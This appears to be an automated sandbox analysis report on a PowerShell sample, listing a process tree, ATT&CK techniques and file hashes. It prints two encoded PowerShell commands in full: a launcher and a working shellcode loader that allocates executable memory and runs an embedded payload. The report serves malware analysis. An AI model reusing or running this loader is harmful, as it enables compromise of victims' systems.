JABFAHYAMwB2ACAAPQAgACIALQBlAG4AYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAQQBGADAAIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAQQBGADAAIAAkAEUAdgAzAHYAIAAkAGUAIgB9AGUAbABzAGUAewA7AGkAZQB4ACAAIgAmACAAcABvAHcAZQByAHMAaABlAGwAbAAgACQARQB2ADMAdgAgACQAZQAiADsAfQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -enc JAAwAFIAQwAyACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnADsAJAB3ACAAPQAgAEEAZABkAC0AVAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIARABlAGYAaQBuAGkAdABpAG8AbgAgACQAMABSAEMAMgAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkADkALAAwAHgAYwA5ACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeABiADgALAAwAHgAOAA4ACwAMAB4ADkAZAAsADAAeAAwAGIALAAwAHgAYwA3ACwAMAB4ADUAZQAsADAAeAAzADEALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAMwAxACwAMAB4ADQANgAsADAAeAAxADcALAAwAHgAMAAzACwAMAB4ADQANgAsADAAeAAxADcALAAwAHgAOAAzACwAMAB4ADQAZQAsADAAeAA5ADkALAAwAHgAZQA5ACwAMAB4ADMAMgAsADAAeABiADIALAAwAHgANABhACwAMAB4ADYAMgAsADAAeABiAGMALAAwAHgANABhACwAMAB4ADgAYgAsADAAeAAxAGQALAAwAHgAMwA0ACwAMAB4AGEAZgAsADAAeABiAGEALAAwAHgAMABmACwAMAB4ADIAMgAsADAAeABhADQALAAwAHgAZQBmACwAMAB4ADkAZgAsADAAeAAyADAALAAwAHgAZQA4ACwAMAB4ADAAMwAsADAAeAA2AGIALAAwAHgANgA0ACwAMAB4ADEAOAAsADAAeAA5ADcALAAwAHgAMQA5ACwAMAB4AGEAMQAsADAAeAAyAGYALAAwAHgAMQAwACwAMAB4ADkANwAsADAAeAA5ADcALAAwAHgAMQBlACwAMAB4AGEAMQAsADAAeAAxADkALAAwAHgAMQA4ACwAMAB4AGMAYwAsADAAeAA2ADEALAAwAHgAMwBiACwAMAB4AGUANAAsADAAeAAwAGUALAAwAHgAYgA2ACwAMAB4ADkAYgAsADAAeABkADUALAAwAHgAYwAxACwAMAB4AGMAYgAsADAAeABkAGEALAAwAHgAMQAyACwAMAB4ADkANAAsADAAeABhADYALAAwAHgAMwAzACwAMAB4AGMAZQAsADAAeABhAGQALAAwAHgAMQBiACwAMAB4AGQAYwAsADAAeABiADgALAAwAHgAMwBhACwAMAB4AGQAOQAsADAAeABlADAALAAwAHgANAA3ACwAMAB4AGUAYwAsADAAeAA1ADUALAAwAHgANQA4ACwAMAB4ADMAMAAsADAAeAA4ADkALAAwAHgAYQBhACwAMAB4ADIAZAAsADAAeAA4AGMALAAwAHgAOQAwACwAMAB4AGYAYQAsADAAeAA0ADUALAAwAHgANAA0ACwAMAB4ADgAYQAsADAAeAA3ADEALAAwAHgAMAAxACwAMAB4ADcANQAsADAAeABhAGIALAAwAHgANQA2ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANgAyACwAMAB4ADIAYwAsADAAeAAzAGYALAAwAHgAYwBhACwAMAB4ADgAYgAsADAAeAA4ADQALAAwAHgAYgA0ACwAMAB4ADEAOAAsADAAeABmADgALAAwAHgAMQA2ACwAMAB4ADEAZAAsADAAeAA1ADEALAAwAHgAMwBlACwAMAB4AGIANAAsADAAeAA2ADAALAAwAHgANQBkACwAMAB4AGIAMwAsADAAeABjADQALAAwAHgAYQA1ACwAMAB4ADUAYQAsADAAeAAyAGIALAAwAHgAYgAzACwAMAB4AGQAZAAsADAAeAA5ADgALAAwAHgAZAA2ACwAMAB4AGMANAAsADAAeAAyADUALAAwAHgAZQAyACwAMAB4ADAAYwAsADAAeAA0ADAALAAwAHgAYgBhACwAMAB4ADQANAAsADAAeABjADcALAAwAHgAZgAyACwAMAB4ADEAZQAsADAAeAA3ADQALAAwAHgAMAA0ACwAMAB4ADYANAAsADAAeABkADQALAAwAHgANwBhACwAMAB4AGUAMQAsADAAeABlADIALAAwAHgAYgAyACwAMAB4ADkAZQAsADAAeABmADQALAAwAHgAMgA3ACwAMAB4AGMAOQAsADAAeAA5AGIALAAwAHgANwBkACwAMAB4AGMANgAsADAAeAAxAGUALAAwAHgAMgBhACwAMAB4AGMANQAsADAAeABlAGQALAAwAHgAYgBhACwAMAB4ADcANgAsADAAeAA5AGUALAAwAHgAOABjACwAMAB4ADkAYgAsADAAeABkADIALAAwAHgANwAxACwAMAB4AGIAMAAsADAAeABmAGMALAAwAHgAYgBiACwAMAB4ADIAZQAsADAAeAAxADQALAAwAHgANwA2ACwAMAB4ADIAOQAsADAAeAAzADkALAAwAHgAMgA4ACwAMAB4ADcANwAsADAAeABiADEALAAwAHgANAA2ACwAMAB4ADcANAAsADAAeABlADAALAAwAHgANwBkACwAMAB4ADgAYQAsADAAeAA4ADcALAAwAHgAZgAwACwAMAB4AGUAOQAsADAAeAA5AGQALAAwAHgAZgA0ACwAMAB4AGMAMgAsADAAeABiADYALAAwAHgAMwA1ACwAMAB4ADkAMwAsADAAeAA2AGUALAAwAHgAMwBlACwAMAB4ADkAMwAsADAAeAA2ADQALAAwAHgAZQA2ACwAMAB4ADIAOAAsADAAeAAyADQALAAwAHgAYgBhACwAMAB4ADQAMAAsADAAeAAzADgALAAwAHgAZABiACwAMAB4ADMAYgAsADAAeABiADEALAAwAHgAMQAwACwAMAB4ADEAZgAsADAAeAA2AGYALAAwAHgAZQAxACwAMAB4ADAAYQAsADAAeABiADYALAAwAHgAMQAwACwAMAB4ADYAYQAsADAAeABjAGIALAAwAHgAMwA3ACwAMAB4AGMANQAsADAAeAAwADcALAAwAHgAYwAxACwAMAB4AGEAZgAsADAAeAAyADYALAAwAHgANwBmACwAMAB4AGMANwAsADAAeAA0ADUALAAwAHgAYwBmACwAMAB4ADgAMgAsADAAeABlADgALAAwAHgAOAA4ACwAMAB4AGIAOAAsADAAeAAwAGEALAAwAHgAMABlACwAMAB4AGYAYQAsADAAeAA5ADYALAAwAHgANQBjACwAMAB4ADkAZgAsADAAeABiAGEALAAwAHgANAA2ACwAMAB4ADEAZAAsADAAeAA0AGYALAAwAHgANQAyACwAMAB4ADgAZAAsADAAeAA5ADIALAAwAHgAYgAwACwAMAB4ADQAMgAsADAAeABhAGUALAAwAHgANwA4ACwAMAB4AGQAOQAsADAAeABlADgALAAwAHgANAAxACwAMAB4AGQANQAsADAAeABiADEALAAwAHgAOAA0ACwAMAB4AGYAOAAsADAAeAA3AGMALAAwAHgANAA5ACwAMAB4ADMANQAsADAAeAAwADQALAAwAHgAYQBiACwAMAB4ADMANwAsADAAeAA3ADUALAAwAHgAOABlACwAMAB4ADUAOAAsADAAeABjADcALAAwAHgAMwBiACwAMAB4ADYANwAsADAAeAAxADQALAAwAHgAZABiACwAMAB4AGEAYgAsADAAeAA4ADcALAAwAHgANgAzACwAMAB4ADgAMQAsADAAeAA3AGQALAAwAHgAOQA3ACwAMAB4ADUAOQAsADAAeABhAGMALAAwAHgAOAAxACwAMAB4ADAAZAAsADAAeAA2ADYALAAwAHgANgA3ACwAMAB4AGQANgAsADAAeABiADkALAAwAHgANgA0ACwAMAB4ADUAZQAsADAAeAAxADAALAAwAHgANgA2ACwAMAB4ADkANgAsADAAeABiADUALAAwAHgAMgBiACwAMAB4AGEAZgAsADAAeAAwADIALAAwAHgANwA2ACwAMAB4ADQAMwAsADAAeABkADAALAAwAHgAYwAyACwAMAB4ADcANgAsADAAeAA5ADMALAAwAHgAOAA2ACwAMAB4ADgAOAAsADAAeAA3ADYALAAwAHgAZgBiACwAMAB4ADcAZQAsADAAeABlADkALAAwAHgAMgA0ACwAMAB4ADEAZQAsADAAeAA4ADEALAAwAHgAMgA0ACwAMAB4ADUAOQAsADAAeABiADMALAAwAHgAMQA0ACwAMAB4AGMANwAsADAAeAAwADgALAAwAHgANgAwACwAMAB4AGIAZQAsADAAeABhAGYALAAwAHgAYgA2ACwAMAB4ADUAZgAsADAAeAA4ADgALAAwAHgANgBmACwAMAB4ADQAOAAsADAAeAA4AGEALAAwAHgAMAA4ACwAMAB4ADUAMwAsADAAeAA5AGYALAAwAHgAZgAyACwAMAB4ADcAZQAsADAAeABiAGQALAAwAHgAMgAzADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABPAFYAUQBKAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABPAFYAUQBKAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABPAFYAUQBKACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7AA==
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2864
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sh2e8r0z.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2876
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD605.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD604.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESD605.tmp

Filesize
1KB

MD5
1e60c48c5059716a5671a456aa061fc8

SHA1
7e21c37a89f5a38cb24d7d796c1f8de2cd1ec360

SHA256
6bb84b03a277a5853f1bf589c728c70a791952c2012beb070e87858bc433cc92

SHA512
3fa943bbdfdd590af6f0f772e39936c602788c04a19d2d262b89a07883cc1d118569fcd0ae4fd25c68761a413d7985c3817a404482d9064cdd9f524779f3e17e

Download Submit
C:\Users\Admin\AppData\Local\Temp\sh2e8r0z.dll

Filesize
3KB

MD5
9b7150eefb88918d7cab3e61b7f1c427

SHA1
ba77026d6362ef510477b95154cb6a7f965c4ade

SHA256
23e6f65ef037ee1179315246cf1a06eece3f505addd34352def6d4f4e8c1f44c

SHA512
12b7ad5b8e620212692c1f85b1d666f7c4e1642f13d21cff261fe8fac81f846c67a27c3d4eb29b8a7a82dd802d6f8ba6ac654105fe07454e8656ab164c5985d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\sh2e8r0z.pdb

Filesize
7KB

MD5
40a402e0946545cff2af5d882d38e107

SHA1
353b664efd7b15e50b24f83180182f1a6793127a

SHA256
f643cf4a4fbff3630a14e4406d4ac16867d1582ce34e47b8ef1c3a276c3d922c

SHA512
1724914f230634e23ea364157f17dbdd4509269d3612158afa1d1a37d6585fdba4437298bd66d06b9498e0d7e47eea1e6d524bb46dc96e47a1f5ef755dca3996

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9C3H4RB5C0CT9HG3VT8R.temp

Filesize
7KB

MD5
c34c4837854df779e05385d53cb3affa

SHA1
c240681b74bb2bcdde476d903efabcb8cc216a29

SHA256
180c848ec559a657e3870e737d2a864e62961b055e64db4ebfc4b82e47afe394

SHA512
06322abe5575a3d4b2b7865277c4cad0827a0082da0f63cfac2327204b7380e1a2959cbb8c6da0d245dafa369d11ec078f30c58486404b4ca1eb7054fb2fd506

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCD604.tmp

Filesize
652B

MD5
c53e2683c589a9b615bb31e0f5202f04

SHA1
2fa93519818f103fe52c6d031736589b8ce9f338

SHA256
7907c2d6f04688c3511afaa955423ad4d0627f44e889e7f3ced69688e5d02d23

SHA512
b2f415dfbcb3cc7f8dfb6394c127fc44f19226c4442126a2eaebe590916adafbac4e0fbfa300be14a8c3b30c4af8b2bd06740dd147b31446b616067206288212

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sh2e8r0z.0.cs

Filesize
557B

MD5
7319070c34daa5f6f2ece2dfc07119ee

SHA1
f26a4a48518a5608e93c8b77368f588b0433973c

SHA256
b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc

SHA512
34169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\sh2e8r0z.cmdline

Filesize
309B

MD5
1ca8d4d4cd8d0c696c15aaae32948316

SHA1
1c269569f1ad78a63da87e525b4576a22a966d1b

SHA256
b0053eaf42aa61080ee61efd7afe029c781beecd4ca49aaa98bded48348c6f1a

SHA512
18968562c6278803f60161708164faeb97e2cbc51d9f50e8fd4570af7b6aef891a9fd107999f60ac63cc625077b2c39397c436191c465799abb47d4dc5cba7de

Download Submit
memory/2156-12-0x000007FEF34A0000-0x000007FEF3E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-7-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2156-13-0x000007FEF34A0000-0x000007FEF3E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-34-0x000007FEF375E000-0x000007FEF375F000-memory.dmp

Filesize
4KB

Download
memory/2156-11-0x000007FEF34A0000-0x000007FEF3E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-10-0x000007FEF34A0000-0x000007FEF3E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-9-0x000007FEF34A0000-0x000007FEF3E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-8-0x0000000001D20000-0x0000000001D28000-memory.dmp

Filesize
32KB

Download
memory/2156-6-0x000007FEF375E000-0x000007FEF375F000-memory.dmp

Filesize
4KB

Download
memory/2156-33-0x000007FEF34A0000-0x000007FEF3E3D000-memory.dmp

Filesize
9.6MB

Download
memory/2864-31-0x0000000005480000-0x0000000005481000-memory.dmp

Filesize
4KB

Download
memory/2900-32-0x000007FEF53D3000-0x000007FEF53D4000-memory.dmp

Filesize
4KB

Download
memory/2900-1-0x0000000000BC0000-0x0000000000BCA000-memory.dmp

Filesize
40KB

Download
memory/2900-0-0x000007FEF53D3000-0x000007FEF53D4000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads